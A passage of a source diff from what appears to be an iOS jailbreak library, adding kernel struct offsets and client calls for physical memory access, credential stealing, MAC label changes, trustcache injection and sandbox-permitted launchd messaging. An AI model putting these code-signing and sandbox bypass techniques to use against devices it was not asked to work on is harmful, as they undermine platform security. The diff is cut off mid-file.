\ - iterator(ctx, kernelStruct.vm_map.pmap); \ - iterator(ctx, kernelStruct.vm_map.flags); \ + iterator(ctx, kernelStruct.vm_map_header.links); \ + iterator(ctx, kernelStruct.vm_map_header.nentries); \ \ - iterator(ctx, kernelStruct.vm_map_header.links); \ + iterator(ctx, kernelStruct.vm_map_entry.links); \ + iterator(ctx, kernelStruct.vm_map_entry.flags); \ \ - iterator(ctx, kernelStruct.vm_map_entry.links); \ - iterator(ctx, kernelStruct.vm_map_entry.flags); \ + iterator(ctx, kernelStruct.vm_map_links.prev); \ + iterator(ctx, kernelStruct.vm_map_links.next); \ + iterator(ctx, kernelStruct.vm_map_links.min); \ + iterator(ctx, kernelStruct.vm_map_links.max); \ \ - iterator(ctx, kernelStruct.vm_map_links.prev); \ - iterator(ctx, kernelStruct.vm_map_links.next); \ - iterator(ctx, kernelStruct.vm_map_links.min); \ - iterator(ctx, kernelStruct.vm_map_links.max); \ + iterator(ctx, kernelStruct.pmap.tte); \ + iterator(ctx, kernelStruct.pmap.ttep); \ + iterator(ctx, kernelStruct.pmap.pmap_cs_main); \ + iterator(ctx, kernelStruct.pmap.sw_asid); \ + iterator(ctx, kernelStruct.pmap.wx_allowed); \ + iterator(ctx, kernelStruct.pmap.type); \ \ - iterator(ctx, kernelStruct.pmap.tte); \ - iterator(ctx, kernelStruct.pmap.ttep); \ - iterator(ctx, kernelStruct.pmap.sw_asid); \ - iterator(ctx, kernelStruct.pmap.wx_allowed); \ - iterator(ctx, kernelStruct.pmap.type); \ + iterator(ctx, kernelStruct.pmap_cs_region.pmap_cs_region_next); \ + iterator(ctx, kernelStruct.pmap_cs_region.cd_entry); \ \ - iterator(ctx, kernelStruct.pt_desc.pmap); \ - iterator(ctx, kernelStruct.pt_desc.va); \ - iterator(ctx, kernelStruct.pt_desc.ptd_info); \ + iterator(ctx, kernelStruct.pmap_cs_code_directory.pmap_cs_code_directory_next); \ + iterator(ctx, kernelStruct.pmap_cs_code_directory.main_binary); \ + iterator(ctx, kernelStruct.pmap_cs_code_directory.trust); \ \ - iterator(ctx, kernelStruct.trustcache.nextptr); \ - iterator(ctx, kernelStruct.trustcache.prevptr); \ - iterator(ctx, kernelStruct.trustcache.size); \ - iterator(ctx, kernelStruct.trustcache.fileptr); \ - iterator(ctx, kernelStruct.trustcache.struct_size); + iterator(ctx, kernelStruct.pt_desc.pmap); \ + iterator(ctx, kernelStruct.pt_desc.va); \ + iterator(ctx, kernelStruct.pt_desc.ptd_info); \ + \ + iterator(ctx, kernelStruct.trustcache.nextptr); \ + iterator(ctx, kernelStruct.trustcache.prevptr); \ + iterator(ctx, kernelStruct.trustcache.size); \ + iterator(ctx, kernelStruct.trustcache.fileptr); \ + iterator(ctx, kernelStruct.trustcache.struct_size); #define SYSTEM_INFO_ITERATE(ctx, iterator) \ - KERNEL_CONSTANTS_ITERATE(ctx, iterator); \ + KERNEL_CONSTANTS_ITERATE(ctx, iterator); \ JAILBREAK_INFO_ITERATE(ctx, iterator); \ - KERNEL_SYMBOLS_ITERATE(ctx, iterator); \ - KERNEL_GADGETS_ITERATE(ctx, iterator); \ - KERNEL_STRUCTS_ITERATE(ctx, iterator); + JAILBREAK_SETTINGS_ITERATE(ctx, iterator); \ + KERNEL_SYMBOLS_ITERATE(ctx, iterator); \ + KERNEL_GADGETS_ITERATE(ctx, iterator); \ + KERNEL_STRUCTS_ITERATE(ctx, iterator); -static void _safe_xpc_dictionary_get_string(xpc_object_t xdict, const char *name, char **out) +__attribute__((__unused__)) static void _safe_xpc_dictionary_get_string(xpc_object_t xdict, const char *name, char **out) { const char *str = xpc_dictionary_get_string(xdict, name); if (str) { @@ -358,7 +418,7 @@ static void _safe_xpc_dictionary_get_string(xpc_object_t xdict, const char *name } } -static void _safe_xpc_dictionary_set_string(xpc_object_t xdict, const char *name, const char *string) +__attribute__((__unused__)) static void _safe_xpc_dictionary_set_string(xpc_object_t xdict, const char *name, const char *string) { if (string) { xpc_dictionary_set_string(xdict, name, string); @@ -367,15 +427,19 @@ static void _safe_xpc_dictionary_set_string(xpc_object_t xdict, const char *name #define XPC_SET_GENERIC(xdict, name, value) _Generic((value), \ const char *: _safe_xpc_dictionary_set_string(xdict, name, (const char*)(uint64_t)value), \ + char *: _safe_xpc_dictionary_set_string(xdict, name, (const char*)(uint64_t)value), \ uint64_t: xpc_dictionary_set_uint64(xdict, name, (uint64_t)value), \ uint32_t: xpc_dictionary_set_uint64(xdict, name, (uint64_t)value), \ + double: xpc_dictionary_set_double(xdict, name, *(double *)&value), \ bool: xpc_dictionary_set_bool(xdict, name, (bool)value) \ ) #define XPC_GET_GENERIC(xdict, name, target) _Generic((target), \ const char *: _safe_xpc_dictionary_get_string(xdict, name, (char **)&target), \ + char *: _safe_xpc_dictionary_get_string(xdict, name, (char **)&target), \ uint64_t: *((uint64_t *)&target) = xpc_dictionary_get_uint64(xdict, name), \ uint32_t: *((uint32_t *)&target) = (uint32_t)xpc_dictionary_get_uint64(xdict, name), \ + double: *((double *)&target) = xpc_dictionary_get_double(xdict, name), \ bool: *((bool *)&target) = xpc_dictionary_get_bool(xdict, name) \ ) @@ -387,6 +451,7 @@ static void _safe_xpc_dictionary_set_string(xpc_object_t xdict, const char *name #define kconstant(name) (gSystemInfo.kernelConstant.name) #define jbinfo(name) (gSystemInfo.jailbreakInfo.name) +#define jbsetting(name) (gSystemInfo.jailbreakSettings.name) #define ksymbol(name) (gSystemInfo.kernelSymbol.name ? (gSystemInfo.kernelConstant.slide + gSystemInfo.kernelSymbol.name) : 0) #define kgadget(name) (gSystemInfo.kernelGadget.name ? (gSystemInfo.kernelConstant.slide + gSystemInfo.kernelGadget.name) : 0) #define koffsetof(structname, member) (gSystemInfo.kernelStruct.structname.member) @@ -397,4 +462,25 @@ void jbinfo_initialize_hardcoded_offsets(void); void jbinfo_initialize_boot_constants(void); xpc_object_t jbinfo_get_serialized(void); +uint64_t get_vm_real_kernel_page_size(void); +#define vm_real_kernel_page_size get_vm_real_kernel_page_size() +#define vm_real_kernel_page_mask (vm_real_kernel_page_size - 1) + +uint64_t get_vm_real_kernel_page_shift(void); +#define vm_real_kernel_page_shift get_vm_real_kernel_page_shift() + +uint64_t get_l1_block_size(void); +uint64_t get_l1_block_mask(void); +uint64_t get_l1_block_count(void); +uint64_t get_l2_block_size(void); +uint64_t get_l2_block_mask(void); +uint64_t get_l2_block_count(void); + +#define L1_BLOCK_SIZE get_l1_block_size() +#define L1_BLOCK_MASK get_l1_block_mask() +#define L1_BLOCK_COUNT get_l1_block_count() +#define L2_BLOCK_SIZE get_l2_block_size() +#define L2_BLOCK_MASK get_l2_block_mask() +#define L2_BLOCK_COUNT get_l2_block_count() + #endif diff --git a/BaseBin/libjailbreak/src/jbclient_mach.c b/BaseBin/libjailbreak/src/jbclient_mach.c new file mode 100644 index 0000000000..c18a5154f1 --- /dev/null +++ b/BaseBin/libjailbreak/src/jbclient_mach.c @@ -0,0 +1,131 @@ +#include "jbclient_mach.h" +#include +#include +#include +#include +#include +#include +extern int fileport_makeport (int fd, mach_port_t * port); + +mach_port_t jbclient_mach_get_launchd_port(void) +{ + mach_port_t launchdPort = MACH_PORT_NULL; + task_get_bootstrap_port(task_self_trap(), &launchdPort); + return launchdPort; +} + +kern_return_t jbclient_mach_send_msg(mach_msg_header_t *hdr, struct jbserver_mach_msg_reply *reply) +{ + mach_port_t replyPort = mig_get_reply_port(); + if (!replyPort) + return KERN_FAILURE; + + mach_port_t launchdPort = jbclient_mach_get_launchd_port(); + if (!launchdPort) + return KERN_FAILURE; + + hdr->msgh_bits |= MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); + + // size already set + hdr->msgh_remote_port = launchdPort; + hdr->msgh_local_port = replyPort; + hdr->msgh_voucher_port = 0; + hdr->msgh_id = 0x40000000 | 206; + // 206: magic value to make WebContent work (seriously, this is the only ID that the WebContent sandbox allows) + + kern_return_t kr = mach_msg(hdr, MACH_SEND_MSG, hdr->msgh_size, 0, 0, 0, 0); + if (kr != KERN_SUCCESS) { + mach_port_deallocate(task_self_trap(), launchdPort); + return kr; + } + + kr = mach_msg(&reply->msg.hdr, MACH_RCV_MSG, 0, reply->msg.hdr.msgh_size, replyPort, 0, 0); + if (kr != KERN_SUCCESS) { + mach_port_deallocate(task_self_trap(), launchdPort); + return kr; + } + + // Get rid of any rights we might have received + mach_msg_destroy(&reply->msg.hdr); + mach_port_deallocate(task_self_trap(), launchdPort); + return KERN_SUCCESS; +} + +int jbclient_mach_process_checkin(char *jbRootPathOut, char *bootUUIDOut, char *sandboxExtensionsOut, bool *fullyDebuggedOut) +{ + struct jbserver_mach_msg_checkin msg; + msg.base.hdr.msgh_size = sizeof(msg); + msg.base.hdr.msgh_bits = 0; + msg.base.action = JBSERVER_MACH_CHECKIN; + msg.base.magic = JBSERVER_MACH_MAGIC; + + size_t replySize = sizeof(struct jbserver_mach_msg_checkin_reply) + MAX_TRAILER_SIZE; + uint8_t replyU[replySize]; + bzero(replyU, replySize); + struct jbserver_mach_msg_checkin_reply *reply = (struct jbserver_mach_msg_checkin_reply *)&replyU; + reply->base.msg.hdr.msgh_size = replySize; + + kern_return_t kr = jbclient_mach_send_msg(&msg.base.hdr, (struct jbserver_mach_msg_reply *)reply); + if (kr != KERN_SUCCESS) return kr; + + reply->jbRootPath[sizeof(reply->jbRootPath)-1] = '\0'; + if (jbRootPathOut) strcpy(jbRootPathOut, reply->jbRootPath); + + reply->bootUUID[sizeof(reply->bootUUID)-1] = '\0'; + if (bootUUIDOut) strcpy(bootUUIDOut, reply->bootUUID); + + reply->sandboxExtensions[sizeof(reply->sandboxExtensions)-1] = '\0'; + if(sandboxExtensionsOut) strcpy(sandboxExtensionsOut, reply->sandboxExtensions); + + if (fullyDebuggedOut) *fullyDebuggedOut = reply->fullyDebugged; + + return (int)reply->base.status; +} + +int jbclient_mach_fork_fix(pid_t childPid) +{ + struct jbserver_mach_msg_forkfix msg; + msg.base.hdr.msgh_size = sizeof(msg); + msg.base.hdr.msgh_bits = 0; + msg.base.action = JBSERVER_MACH_FORK_FIX; + msg.base.magic = JBSERVER_MACH_MAGIC; + + msg.childPid = childPid; + + size_t replySize = sizeof(struct jbserver_mach_msg_forkfix_reply) + MAX_TRAILER_SIZE; + uint8_t replyU[replySize]; + bzero(replyU, replySize); + struct jbserver_mach_msg_forkfix_reply *reply = (struct jbserver_mach_msg_forkfix_reply *)&replyU; + reply->base.msg.hdr.msgh_size = replySize; + + kern_return_t kr = jbclient_mach_send_msg(&msg.base.hdr, (struct jbserver_mach_msg_reply *)reply); + if (kr != KERN_SUCCESS) return kr; + + return (int)reply->base.status; +} + +int jbclient_mach_trust_file(int fd, struct siginfo *siginfo) +{ + struct jbserver_mach_msg_trust_fd msg; + msg.base.hdr.msgh_size = sizeof(msg); + msg.base.hdr.msgh_bits = 0; + msg.base.action = JBSERVER_MACH_TRUST_FILE; + msg.base.magic = JBSERVER_MACH_MAGIC; + + msg.fd = fd; + msg.siginfoPopulated = siginfo ? true : false; + if (siginfo) { + memcpy(&msg.siginfo, siginfo, sizeof(struct siginfo)); + } + + size_t replySize = sizeof(struct jbserver_mach_msg_trust_fd_reply) + MAX_TRAILER_SIZE; + uint8_t replyU[replySize]; + bzero(replyU, replySize); + struct jbserver_mach_msg_trust_fd_reply *reply = (struct jbserver_mach_msg_trust_fd_reply *)&replyU; + reply->base.msg.hdr.msgh_size = replySize; + + kern_return_t kr = jbclient_mach_send_msg(&msg.base.hdr, (struct jbserver_mach_msg_reply *)reply); + if (kr != KERN_SUCCESS) return kr; + + return (int)reply->base.status; +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/jbclient_mach.h b/BaseBin/libjailbreak/src/jbclient_mach.h new file mode 100644 index 0000000000..c9972365f5 --- /dev/null +++ b/BaseBin/libjailbreak/src/jbclient_mach.h @@ -0,0 +1,14 @@ +#ifndef __JBCLIENT_MACH +#define __JBCLIENT_MACH + +#include +#include +#include "jbserver.h" + +mach_port_t jbclient_mach_get_launchd_port(void); +int jbclient_mach_send_msg(mach_msg_header_t *hdr, struct jbserver_mach_msg_reply *reply); +int jbclient_mach_process_checkin(char *jbRootPathOut, char *bootUUIDOut, char *sandboxExtensionsOut, bool *fullyDebuggedOut); +int jbclient_mach_fork_fix(pid_t childPid); +int jbclient_mach_trust_file(int fd, struct siginfo *siginfo); + +#endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/jbclient_xpc.c b/BaseBin/libjailbreak/src/jbclient_xpc.c index 137bb96025..94fb5f9d69 100644 --- a/BaseBin/libjailbreak/src/jbclient_xpc.c +++ b/BaseBin/libjailbreak/src/jbclient_xpc.c @@ -1,17 +1,13 @@ #include "jbclient_xpc.h" +#include "jbclient_mach.h" #include "jbserver.h" #include #include #include #include #include - -#define OS_ALLOC_ONCE_KEY_MAX 100 - -struct _os_alloc_once_s { - long once; - void *ptr; -}; +#include +#include struct xpc_global_data { uint64_t a; @@ -23,9 +19,6 @@ struct xpc_global_data { xpc_object_t xpc_bootstrap_pipe; /* 0x18 */ }; -extern struct _os_alloc_once_s _os_alloc_once_table[]; -extern void* _os_alloc_once(struct _os_alloc_once_s *slot, size_t sz, os_function_t init); - mach_port_t gJBServerCustomPort = MACH_PORT_NULL; void jbclient_xpc_set_custom_port(mach_port_t serverPort) @@ -47,20 +40,11 @@ xpc_object_t jbserver_xpc_send_dict(xpc_object_t xdict) } else { // Else, communicate with launchd - struct xpc_global_data* globalData = NULL; - if (_os_alloc_once_table[1].once == -1) { - globalData = _os_alloc_once_table[1].ptr; - } - else { - globalData = _os_alloc_once(&_os_alloc_once_table[1], 472, NULL); - if (!globalData) _os_alloc_once_table[1].once = -1; - } - if (!globalData) return NULL; + struct xpc_global_data* globalData = os_alloc_once(OS_ALLOC_ONCE_KEY_LIBXPC, 472, NULL); if (!globalData->xpc_bootstrap_pipe) { - mach_port_t *initPorts; - mach_msg_type_number_t initPortsCount = 0; - if (mach_ports_lookup(mach_task_self(), &initPorts, &initPortsCount) == 0) { - globalData->task_bootstrap_port = initPorts[0]; + mach_port_t launchdPort = jbclient_mach_get_launchd_port(); + if (launchdPort != MACH_PORT_NULL) { + globalData->task_bootstrap_port = launchdPort; globalData->xpc_bootstrap_pipe = xpc_pipe_create_from_port(globalData->task_bootstrap_port, 0); } } @@ -96,13 +80,13 @@ xpc_object_t jbserver_xpc_send(uint64_t domain, uint64_t action, xpc_object_t xa return xreply; } -char *jbclient_get_root_path(void) +char *jbclient_get_jbroot(void) { static char rootPath[PATH_MAX] = { 0 }; static dispatch_once_t dot; dispatch_once(&dot, ^{ - xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_GET_JB_ROOT, NULL); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_GET_JBROOT, NULL); if (xreply) { const char *replyRootPath = xpc_dictionary_get_string(xreply, "root-path"); if (replyRootPath) { @@ -136,65 +120,12 @@ char *jbclient_get_boot_uuid(void) return (char *)&bootUUID[0]; } -bool can_skip_trusting_file(const char *filePath, bool isLibrary, bool isClient) +int jbclient_trust_file(int fd, struct siginfo *siginfo) { - if (!filePath) return true; - - // If it's a library that starts with an @, we don't know the actual location so we need to trust it - if (isLibrary && filePath[0] == '@') return false; - - // If this file is in shared cache, we can skip trusting it - if (_dyld_shared_cache_contains_path(filePath)) return true; - - // If the file doesn't exist, there is nothing to trust :D - if (access(filePath, F_OK) != 0) return true; - - if (!isClient) { - // If the file is on rootfs mount point, it doesn't need to be trusted as it should be in static trust cache - // Same goes for our /usr/lib bind mount (which is guaranteed to be in dynamic trust cache) - // We can't do this in the client because of protobox bullshit where calling statfs crashes some processes - struct statfs fs; - int sfsret = statfs(filePath, &fs); // XXX: same protobox bullshit as below, just with statfs - if (sfsret == 0) { - if (!strcmp(fs.f_mntonname, "/") || !strcmp(fs.f_mntonname, "/usr/lib")) { - return true; - } - } - } - - return false; -} - -char *realafpath(const char *restrict path, char *restrict resolved_path) -{ - if (path[0] == '/' || path[0] == '@') { - // Running realpath on stuff in /var/jb or on rootfs causes some processes, on some devices, to crash - // If it starts with /, it's not a relative path and we can skip calling realpath on it - // We only care about resolving relative paths, so we can skip anything that doesn't look like one - // As a side effect, we also ignore loader relative paths that start with (@rpath/@executable_path/@loader_path) - if (!resolved_path) { - resolved_path = malloc(PATH_MAX); - } - strlcpy(resolved_path, path, PATH_MAX); - return resolved_path; - } - else { - return realpath(path, resolved_path); - } -} - -int jbclient_trust_binary(const char *binaryPath) -{ - if (!binaryPath) return -1; - - char absolutePath[PATH_MAX]; - if (realafpath(binaryPath, absolutePath) == NULL) return -1; - - if (can_skip_trusting_file(absolutePath, false, true)) return -1; - xpc_object_t xargs = xpc_dictionary_create_empty(); - xpc_dictionary_set_string(xargs, "binary-path", absolutePath); - xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_BINARY, xargs); + xpc_dictionary_set_uint64(xargs, "fd", (uint64_t)fd); + if (siginfo) xpc_dictionary_set_data(xargs, "siginfo", siginfo, sizeof(struct siginfo)); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_FILE, xargs); xpc_release(xargs); if (xreply) { int64_t result = xpc_dictionary_get_int64(xreply, "result"); @@ -204,29 +135,17 @@ int jbclient_trust_binary(const char *binaryPath) return -1; } -int jbclient_trust_library(const char *libraryPath) +int jbclient_trust_file_by_path(const char *path) { - if (!libraryPath) return -1; + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; - // If not a dynamic path (@rpath, @executable_path, @loader_path), resolve to absolute path - char absolutePath[PATH_MAX]; - if (realafpath(libraryPath, absolutePath) == NULL) return -1; - - if (can_skip_trusting_file(absolutePath, true, true)) return -1; - - xpc_object_t xargs = xpc_dictionary_create_empty(); - xpc_dictionary_set_string(xargs, "library-path", absolutePath); - xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_LIBRARY, xargs); - xpc_release(xargs); - if (xreply) { - int64_t result = xpc_dictionary_get_int64(xreply, "result"); - xpc_release(xreply); - return result; - } - return -1; + int r = jbclient_trust_file(fd, NULL); + close(fd); + return r; } -int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut) +int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut) { xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PROCESS_CHECKIN, NULL); if (xreply) { @@ -237,6 +156,7 @@ int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sand if (rootPathOut) *rootPathOut = rootPath ? strdup(rootPath) : NULL; if (bootUUIDOut) *bootUUIDOut = bootUUID ? strdup(bootUUID) : NULL; if (sandboxExtensionsOut) *sandboxExtensionsOut = sandboxExtensions ? strdup(sandboxExtensions) : NULL; + if (fullyDebuggedOut) *fullyDebuggedOut = xpc_dictionary_get_bool(xreply, "fully-debugged"); xpc_release(xreply); return result; } @@ -257,10 +177,77 @@ int jbclient_fork_fix(uint64_t childPid) return -1; } -int jbclient_platform_set_process_debugged(uint64_t pid) +int jbclient_cs_revalidate(void) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_CS_REVALIDATE, NULL); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_jbsettings_get(const char *key, xpc_object_t *valueOut) +{ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_string(xargs, "key", key); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_JBSETTINGS_GET, xargs); + xpc_release(xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_object_t value = xpc_dictionary_get_value(xreply, "value"); + if (value && valueOut) *valueOut = xpc_copy(value); + xpc_release(xreply); + return result; + } + return -1; +} + +bool jbclient_jbsettings_get_bool(const char *key) +{ + xpc_object_t value; + if (jbclient_jbsettings_get(key, &value) == 0) { + if (value) { + bool valueBool = xpc_bool_get_value(value); + xpc_release(value); + return valueBool; + } + } + return false; +} + +uint64_t jbclient_jbsettings_get_uint64(const char *key) +{ + xpc_object_t value; + if (jbclient_jbsettings_get(key, &value) == 0) { + if (value) { + uint64_t valueU64 = xpc_uint64_get_value(value); + xpc_release(value); + return valueU64; + } + } + return 0; +} + +double jbclient_jbsettings_get_double(const char *key) +{ + xpc_object_t value; + if (jbclient_jbsettings_get(key, &value) == 0) { + if (value) { + double valueDouble = xpc_double_get_value(value); + xpc_release(value); + return valueDouble; + } + } + return 0; +} + +int jbclient_platform_set_process_debugged(uint64_t pid, bool fullyDebugged) { xpc_object_t xargs = xpc_dictionary_create_empty(); xpc_dictionary_set_uint64(xargs, "pid", pid); + xpc_dictionary_set_bool(xargs, "fully-debugged", fullyDebugged); xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_SET_PROCESS_DEBUGGED, xargs); xpc_release(xargs); if (xreply) { @@ -273,8 +260,11 @@ int jbclient_platform_set_process_debugged(uint64_t pid) int jbclient_platform_stage_jailbreak_update(const char *updateTar) { + char realUpdateTarPath[PATH_MAX]; + if (!realpath(updateTar, realUpdateTarPath)) return -1; + xpc_object_t xargs = xpc_dictionary_create_empty(); - xpc_dictionary_set_string(xargs, "update-tar", updateTar); + xpc_dictionary_set_string(xargs, "update-tar", realUpdateTarPath); xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_STAGE_JAILBREAK_UPDATE, xargs); xpc_release(xargs); if (xreply) { @@ -285,11 +275,50 @@ int jbclient_platform_stage_jailbreak_update(const char *updateTar) return -1; } -int jbclient_platform_set_jailbreak_visible(bool visible) +int jbclient_platform_jbsettings_set(const char *key, xpc_object_t value) +{ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_string(xargs, "key", key); + xpc_dictionary_set_value(xargs, "value", value); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_JBSETTINGS_SET, xargs); + xpc_release(xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_platform_jbsettings_set_bool(const char *key, bool boolValue) +{ + xpc_object_t value = xpc_bool_create(boolValue); + int r = jbclient_platform_jbsettings_set(key, value); + xpc_release(value); + return r; +} + +int jbclient_platform_jbsettings_set_uint64(const char *key, uint64_t uint64Value) +{ + xpc_object_t value = xpc_uint64_create(uint64Value); + int r = jbclient_platform_jbsettings_set(key, value); + xpc_release(value); + return r; +} + +int jbclient_platform_jbsettings_set_double(const char *key, double doubleValue) +{ + xpc_object_t value = xpc_double_create(doubleValue); + int r = jbclient_platform_jbsettings_set(key, value); + xpc_release(value); + return r; +} + +int jbclient_platform_set_systemwide_domain_enabled(bool enabled) { xpc_object_t xargs = xpc_dictionary_create_empty(); - xpc_dictionary_set_bool(xargs, "visible", visible); - xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_SET_JAILBREAK_VISIBLE, xargs); + xpc_dictionary_set_bool(xargs, "enabled", enabled); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_SET_SYSTEMWIDE_DOMAIN_ENABLED, xargs); xpc_release(xargs); if (xreply) { int result = xpc_dictionary_get_int64(xreply, "result"); @@ -313,13 +342,31 @@ int jbclient_watchdog_intercept_userspace_panic(const char *panicMessage) return -1; } -int jbclient_root_get_physrw(bool singlePTE) +int jbclient_watchdog_get_last_userspace_panic(char **panicMessage) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_WATCHDOG, JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC, NULL); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + const char *receivedMessage = xpc_dictionary_get_string(xreply, "panic-message"); + if (receivedMessage) { + *panicMessage = strdup(receivedMessage); + } + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_root_get_physrw(bool singlePTE, uint64_t *singlePTEAsidPtr) { xpc_object_t xargs = xpc_dictionary_create_empty(); xpc_dictionary_set_bool(xargs, "single-pte", singlePTE); xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_GET_PHYSRW, xargs); xpc_release(xargs); if (xreply) { + if (singlePTEAsidPtr) { + *singlePTEAsidPtr = xpc_dictionary_get_uint64(xreply, "single-pte-asid-ptr"); + } int64_t result = xpc_dictionary_get_int64(xreply, "result"); xpc_release(xreply); return result; @@ -354,29 +401,69 @@ int jbclient_root_get_sysinfo(xpc_object_t *sysInfoOut) return -1; } -int jbclient_root_add_cdhash(uint8_t *cdhashData, size_t cdhashLen) +int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred) { xpc_object_t xargs = xpc_dictionary_create_empty(); - xpc_dictionary_set_data(xargs, "cdhash", cdhashData, cdhashLen); - xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_ADD_CDHASH, xargs); + xpc_dictionary_set_uint64(xargs, "ucred", ucredToSteal); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_STEAL_UCRED, xargs); xpc_release(xargs); if (xreply) { int64_t result = xpc_dictionary_get_int64(xreply, "result"); + if (orgUcred) *orgUcred = xpc_dictionary_get_uint64(xreply, "org-ucred"); xpc_release(xreply); return result; } return -1; } -int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred) +int jbclient_root_set_mac_label(uint64_t slot, uint64_t label, uint64_t *orgLabel) { xpc_object_t xargs = xpc_dictionary_create_empty(); - xpc_dictionary_set_uint64(xargs, "ucred", ucredToSteal); - xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_STEAL_UCRED, xargs); + xpc_dictionary_set_uint64(xargs, "slot", slot); + xpc_dictionary_set_uint64(xargs, "label", label); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_SET_MAC_LABEL, xargs); xpc_release(xargs); if (xreply) { int64_t result = xpc_dictionary_get_int64(xreply, "result"); - if (orgUcred) *orgUcred = xpc_dictionary_get_uint64(xreply, "org-ucred"); + if (orgLabel) *orgLabel = xpc_dictionary_get_uint64(xreply, "org-label"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_root_trustcache_info(xpc_object_t *infoOut) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_INFO, NULL); + if (xreply) { + int64_t result = xpc_dictionary_get_int64(xreply, "result"); + xpc_object_t info = xpc_dictionary_get_array(xreply, "tc-info"); + if (infoOut && info) *infoOut = xpc_copy(info); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen) +{ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_data(xargs, "cdhash", cdhashData, cdhashLen); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_ADD_CDHASH, xargs); + xpc_release(xargs); + if (xreply) { + int64_t result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_root_trustcache_clear(void) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_CLEAR, NULL); + if (xreply) { + int64_t result = xpc_dictionary_get_int64(xreply, "result"); xpc_release(xreply); return result; } diff --git a/BaseBin/libjailbreak/src/jbclient_xpc.h b/BaseBin/libjailbreak/src/jbclient_xpc.h index e122025960..e11594d3c7 100644 --- a/BaseBin/libjailbreak/src/jbclient_xpc.h +++ b/BaseBin/libjailbreak/src/jbclient_xpc.h @@ -2,28 +2,43 @@ #define JBCLIENT_XPC_H #include +#include #include +#include "signatures.h" void jbclient_xpc_set_custom_port(mach_port_t serverPort); xpc_object_t jbserver_xpc_send_dict(xpc_object_t xdict); xpc_object_t jbserver_xpc_send(uint64_t domain, uint64_t action, xpc_object_t xargs); -char *jbclient_get_root_path(void); +char *jbclient_get_jbroot(void); char *jbclient_get_boot_uuid(void); -int jbclient_trust_binary(const char *binaryPath); -int jbclient_trust_library(const char *libraryPath); -int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut); +int jbclient_trust_file(int fd, struct siginfo *siginfo); +int jbclient_trust_file_by_path(const char *path); +int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut); int jbclient_fork_fix(uint64_t childPid); -int jbclient_platform_set_process_debugged(uint64_t pid); +int jbclient_cs_revalidate(void); +int jbclient_jbsettings_get(const char *key, xpc_object_t *valueOut); +bool jbclient_jbsettings_get_bool(const char *key); +uint64_t jbclient_jbsettings_get_uint64(const char *key); +double jbclient_jbsettings_get_double(const char *key); +int jbclient_platform_set_process_debugged(uint64_t pid, bool fullyDebugged); int jbclient_platform_stage_jailbreak_update(const 